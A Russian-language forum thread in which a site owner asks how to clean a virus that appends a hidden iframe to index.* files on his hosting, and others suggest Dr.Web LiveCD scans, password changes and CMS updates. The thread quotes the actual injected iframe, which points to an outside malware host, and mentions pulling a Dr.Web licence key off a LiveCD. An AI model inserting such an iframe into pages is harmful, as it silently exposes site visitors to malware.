Подскажите чем удалить вирус

[sergio]

У меня на хостинге вирус.
Судя по всему пароли к ftp с клиентской тачки спёр какой-нибудь троян.

Лазит себе вирусняк по хостинговой дире, и в index.* и дописывает что-то типа:

Код: Выделить всё

<iframe src="http://xb6.ru:8080/index.php" width=140 height=137 style="visibility: hidden"></iframe>

Clamav его в упор не видит.

Есть ли бесплатный антивырь чтоб его изловить мог, да файлы почистить. Ато задолбался восстанавливать.

[Хостинг HostFood.ru]

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

[ban]

1) Качаешь Dr.Web LiveCD (сканирование рабочих станций и серверов под управлением Windows\Unix) собран на каком-то дистрибутиве линуксовом
ftp://ftp.drweb.com/pub/drweb/livecd/20 ... -5.0.0.iso

2) Грузишься, монтируешь раздел FreeBSD - сканируешь, провод сетевой не забудь отцепить на всякий случай
Вопрос монтирования освещен тут: Как смонтировать раздел FreeBSD под Linux?


Сам не пробовал такую схему, но почему бы не попробовать если других вариантов конечно не предложат.
Кстати, базы Dr.Web'овские в обозначенном образе должны быть по вчерашнее число, так что осталось только смонтироваться...

Если получится что, отпишись пожалуйста для потомков

[princeps]

Судя по всему пароли к ftp с клиентской тачки спёр какой-нибудь троян.

Лазит себе вирусняк по хостинговой дире, и в index.* и дописывает что-то типа:

Ато задолбался восстанавливать.

А поменять пароль на ftp не судьба? И последние обновления накатить, особенно на CMS.

[sergio]

А поменять пароль на ftp не судьба?

Уже

[sergio]

ban Спасибо, попробую.
Хочу ещё попробовать оттуда ключ для DrWeb вытянуть. Он ведь может подойти к тому что в портах лежит?

[goshanecr]

Мне кажется что кламав и не должен видеть этот вирь и никакой другой антивирь его тоже не увидит.. Может он работает по принципу:
С клиентского компа узнаётся логин/пасс к хостингу, и затем удалённо этот скрипт просто используя логин пасс уже дописывает абсолютно безобидный для любого антивируса представленный тобой HTML код.. Может я и не прав, но мне кажется так..

[princeps]

в большинстве случаев описанная тредстартером ситуация происходит, когда вирус юзает уязвимость в cms.

Мне кажется что кламав и не должен видеть этот вирь и никакой другой антивирь его тоже не увидит..

Я как-то сталкивался с подобным, делал следующим образом - каталог www копировал с хостинга к себе на комп с виндой и каспер отлично видел вирус и мочил его.
Кстати, вирусу, как я понимаю, не обязательно красть пароли, он теоретически может заражать сайт во время ftp-сессии с зараженной клиенсткой машины.